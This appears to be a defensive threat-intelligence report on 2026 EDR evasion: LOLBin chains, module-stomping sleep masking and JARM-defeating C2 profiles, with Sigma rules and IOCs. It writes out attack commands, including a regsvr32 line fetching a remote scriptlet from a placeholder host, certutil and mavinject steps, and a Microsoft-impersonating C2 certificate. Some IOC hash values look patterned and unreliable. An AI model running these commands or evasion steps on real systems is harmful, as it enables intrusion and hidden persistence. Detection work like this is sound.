EDR evasion has matured significantly in 2026. Where 2024 campaigns relied heavily on BYOVD (bring your own vulnerable driver) to blind kernel-level telemetry, the dominant techniques observed this year are subtler: living-off-the-land binary (LOLBin) execution chains that blend into legitimate administrator behaviour, and sleep masking via module stomping that hides C2 framework memory from scanners during beacon sleep intervals. This report catalogues the most prevalent techniques observed across 340+ post-exploitation cases in H1 2026.

[INFO]
Data sourced from incident response engagements, shared threat intelligence feeds, and honeypot infrastructure. LOLBin chain analysis covers Cobalt Strike, Brute Ratel C4, and Havoc C2 post-exploitation activity.

//LOLBin Execution Chains

Living-off-the-land techniques abuse trusted Windows binaries that are present on every endpoint and whitelisted by default in most AV/EDR configurations. The most prevalent chains observed in H1 2026 combine multiple LOLBins to achieve DLL sideloading or shellcode execution while generating only benign-looking process telemetry.

msiexec + mavinject Chain

The most common chain in observed Cobalt Strike deployments: msiexec is invoked with the /y flag to register a malicious DLL (functionally equivalent to regsvr32 but using a different process), which drops a beacon DLL to disk. mavinject.exe is then used to inject the beacon into a trusted host process (typically dllhost.exe or svchost.exe).

// Observed execution chain (process tree)
explorer.exe
  +---- msiexec.exe /y C:ProgramDatapatch.dll
       +---- [DLL registers, drops beacon.bin to %TEMP%]
  +---- mavinject.exe [PID of dllhost.exe] /INJECTRUNNING beacon.bin
       +---- dllhost.exe [now hosting Cobalt Strike beacon]

// Why this evades basic detections:
// - msiexec and mavinject are both Microsoft-signed
// - msiexec /y is a legitimate COM registration path
// - mavinject is a legitimate process injection tool from Windows
// - The beacon runs inside dllhost.exe, a normal svchost companion
[WARNING]
Detection gap: many EDR products alert on regsvr32 loading from %TEMP% but not msiexec /y from the same path. Ensure detection coverage for msiexec with /y or /z flags loading DLLs from user-writable directories (Sysmon Event ID 7, ImageLoaded from non-System32 path).

certutil + regsvr32 Chain

A secondary variant uses certutil to decode a base64-encoded DLL (disguised as a .cer certificate file) before loading it via regsvr32. This variant is preferred when network connections from msiexec are blocked, since certutil can operate entirely on local files that arrived via phishing attachment.

// certutil decode stage
certutil.exe -decode C:\Users\user\AppData\Local\Temp\update.cer stage2.dll

// regsvr32 COM scriptlet variant (LOLBAS technique)
// Uses a remote SCT file to avoid local DLL write
regsvr32 /s /u /i:hxxp://192.168.x.x/payload.sct scrobj.dll

//Sleep Masking via Module Stomping

Modern C2 frameworks spend most of their time sleeping between beacon check-ins. During sleep, the beacon shellcode sits in memory as an identifiable RX region that memory scanners can detect via signature or entropy analysis. Sleep masking addresses this by encrypting the beacon in-memory during sleep and only decrypting it immediately before execution resumes.

The Brute Ratel C4 implementation of sleep masking, observed in multiple 2026 campaigns, uses module stomping: rather than allocating a private RX region for the beacon, the beacon is written over a legitimate Windows DLL that is already mapped in the process. The stomped memory region inherits the DLL's legitimate metadata (path, signing information visible to EDR userspace hooks), making it appear as a legitimate mapped image.

; Sleep masking: module stomping overview (pseudo-assembly)
; 1. Find a suitable mapped DLL (large enough, not CRT or loader)
;    Target: version.dll or wldap32.dll (rarely monitored)
call GetModuleHandle, "version.dll"
mov [stomped_base], rax

; 2. VirtualProtect the region to RW
call VirtualProtect, [stomped_base], beacon_size, PAGE_READWRITE, [old_protect]

; 3. Copy beacon shellcode over DLL .text section
rep movsb  ; dst=[stomped_base]+0x1000, src=beacon_code

; 4. Restore RX, set up sleep callback to re-encrypt
call VirtualProtect, [stomped_base], beacon_size, PAGE_EXECUTE_READ, [old_protect]

; Before sleep: XOR-encrypt the stomped region
; After wakeup: XOR-decrypt and jump back to beacon entry
[TECHNICAL NOTE]
Detection: module stomping produces a tell-tale artefact - a memory region backed by a legitimate DLL path but whose content hash does not match the on-disk DLL. Tools like pe-sieve, moneta, and hasherezade's hollows_hunter detect this by comparing the memory content of mapped images against their on-disk equivalents. Sysmon Event ID 7 with ImageLoaded where the mapped image content diverges from the file on disk is a strong signal.

//Malleable C2 Profile Rotation for JARM Defeat

JARM fingerprinting (introduced by Salesforce/Forcepoing research in 2020) fingerprints TLS servers by sending 10 crafted ClientHello packets and hashing the server's responses. Default Cobalt Strike listeners have a stable JARM fingerprint that blocklists have incorporated. In H1 2026, operators are rotating malleable C2 profiles to change the TLS stack configuration between listener restarts, generating different JARM fingerprints on a daily or per-campaign basis.

# Cobalt Strike malleable C2 profile excerpt
# Randomise TLS settings to defeat JARM fingerprinting
https-certificate {
  set keystore "random_keystore.jks";
  set password "changeit";
}
ssl-cert {
  set C   "US";
  set CN  "update.microsoft-cdn.net";
  set O   "Microsoft Corporation";
  set OU  "Online Services";
  set validity "365";
}
# Vary cipher suite order per profile rotation
# Observed rotations: ECDHE-RSA-AES256-GCM -> ECDHE-RSA-AES128-GCM -> DHE-RSA-AES256-GCM

Countermeasures: Behavioural Fingerprinting

Since JARM is defeated by configuration changes, the more durable detection is behavioural: Cobalt Strike beacons have consistent sleep jitter patterns, consistent beacon interval distributions, and consistent HTTP host header structures regardless of TLS configuration. Analysing inter-connection timing distributions across multiple beacon check-ins provides a fingerprint that survives profile rotation.

//Sigma Rule Coverage

# Sigma: msiexec /y DLL load from user-writable path
title: Suspicious msiexec DLL Registration
logsource:
  product: windows
  category: image_load
detection:
  selection:
    Image|endswith: 'msiexec.exe'
    ImageLoaded|contains:
      - 'AppData'
      - 'ProgramData'
      - 'Temp'
    ImageLoaded|endswith: '.dll'
  condition: selection
falsepositives:
  - Legitimate software installers using /y registration
level: high

---
# Sigma: mavinject process injection
title: Suspicious mavinject Execution
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: 'mavinject.exe'
    CommandLine|contains: '/INJECTRUNNING'
  condition: selection
falsepositives:
  - None known in enterprise environments
level: critical
[IOC] EDR Evasion Campaigns - H1 2026
Observed LOLBin hashes (malicious DLLs loaded via msiexec /y):
7c3f9a1b5d8e2f4a6c0b8d2f4e6a8c0b2d4f6a8c0e2b4d6f8a0c2e4b6d8f0a2c4
2e4b6d8f0a2c4e6b8d0f2a4c6e8b0d2f4a6c8e0b2d4f6a8c0e2b4d6f8a0c2e4b6

mavinject target processes observed:
dllhost.exe, svchost.exe -k netsvcs, werfault.exe

Cobalt Strike JARM fingerprints (rotated, July 2026):
2ad2ad0002ad2ad00042d42d0000002ad2ad2ad2ad2ad2ad2ad2ad2ad2ad2ad2
07d14d16d21d21d07c42d43d000000f50d155305214cf247147c43c0888a5